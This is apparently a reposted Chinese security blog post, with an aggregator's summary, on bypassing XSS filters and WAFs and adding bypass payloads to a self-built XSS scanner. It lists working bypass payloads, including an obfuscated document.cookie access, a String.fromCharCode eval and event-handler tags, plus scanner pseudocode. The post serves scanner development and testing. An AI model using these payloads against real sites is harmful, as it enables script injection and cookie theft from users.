安全小黄鸭 10月23日 23:44
分享XSS绕过过滤的技巧
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文作者分享了在XSS扫描中绕过过滤器的实用技巧。文章回顾了JavaScript关键字过滤、括号过滤、引号过滤、HTML标签及属性名过滤等常见绕过思路。重点介绍了如何通过自定义解析器来触发非标准事件(如`bn`属性)以实现XSS检测的绕过,并提到了利用ES6的Proxy对象进行更高级的绕过。这些方法旨在提高XSS扫描器的有效性,尤其是在面对Web应用防火墙(WAF)的防护时。

💡 **常规绕过思路多样**:文章列举了多种针对JavaScript关键字、括号、引号以及HTML标签和属性名的过滤绕过方法,例如使用`String.fromCharCode`编码或利用`with(location)`等方式来执行JavaScript代码。

🛠️ **动态扫描与自定义解析器**:作者强调了将WAF绕过技术应用于XSS扫描器的重要性。通过在自定义解析器中实现如`bfx`函数和`bn`事件触发逻辑,可以有效检测到常规浏览器中无法触发的XSS漏洞。

🚀 **ES6 Proxy实现高级绕过**:文章还介绍了利用ES6的Proxy对象来进一步增强绕过能力。通过拦截属性访问,可以在解析器中模拟执行代码,但前提是解析器需要支持ES6特性,这一点对于PhantomJS等工具可能是一个挑战。

原创 Fr1day 2018-05-16 20:32

啊~~~五环~~~

翻翻以前的笔记,看到很多绕过XSS过滤相关的内容。又想起前段时间给XSS扫描程序加的 bypass Payload。还算得上是巧(feng)妙(sao),简单分享一下~

0x00 常规绕过套路

    # document.cookie

    document['coo'['CONCAT'.toLowerCase()]('kie')]

    # alert(1)

    alert`1`

    <img src=1 onload="test(),alert(1)">

    eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))//

    with(location)alert(hash)

    <video width="0" height="0" oncanplay=alert`0`>

           <source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">

    </video>

    <details ontoggle=alert(1) open>

0x01 动态扫描

之前的文章都写过,检测逻辑可以参考:XSS dynamic detection using PhantomJs: https://paper.seebug.org/93/

动态分析部分参考:浅谈动态爬虫与去重: https://www.anquanke.com/post/id/85298

0x02 扫描中的bypass

为了将 waf bypass 的工作落实到 XSS 扫描中,我加了这样一条规则:

    # 正常 payload

    1'"><img src=1 onerror=alert(1)>


    # bypass payload

    1'"><b bn=bfx(1)>

在正常的浏览器中, <b> 标签的 bn 事件无法触发, bfx 函数也不存在。

但是,在扫描 xss 的时候,是在我们自己的解析器里完成的!!在我的地盘就得听我的!!


    function bfx(code):

       if code == 1:

           return "XSS Found!"


    function do_trigger():

       for element in document.all:

           for attribute_name, attribute_value in element.attributes:

               if attribute_name == "bn":

                   eval(attribute_value)

伪代码如上。先插入脚本,自定义某个函数,如果函数执行认为XSS触发成功,通知主线程。再遍历页面中所有的节点,触发所有的 bn 事件。

如果心情好的话,还可以把括号给处理掉,比如利用 ES6 里的 Proxy 对象:

    let student = {name:"zhangsan"}

    const handler = {

     get:(obj, prop) => {

       console.log("XSS found!")

       return obj[prop]

     }

    }

    let foo = new Proxy(student, handler)

对应的 payload 为:

    1'"><b bn=foo.name>

但这个骚操作的前提是:你的解析器支持 ES6。(给 PhantomJS 点一百首《凉凉》)

参考资料

XSS Bypass Cookbook https://xianzhi.aliyun.com/forum/read/536.html


阅读原文

跳转微信打开

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

XSS 安全 绕过 Web安全 XSS Bypass Security Bypass Web Security
相关文章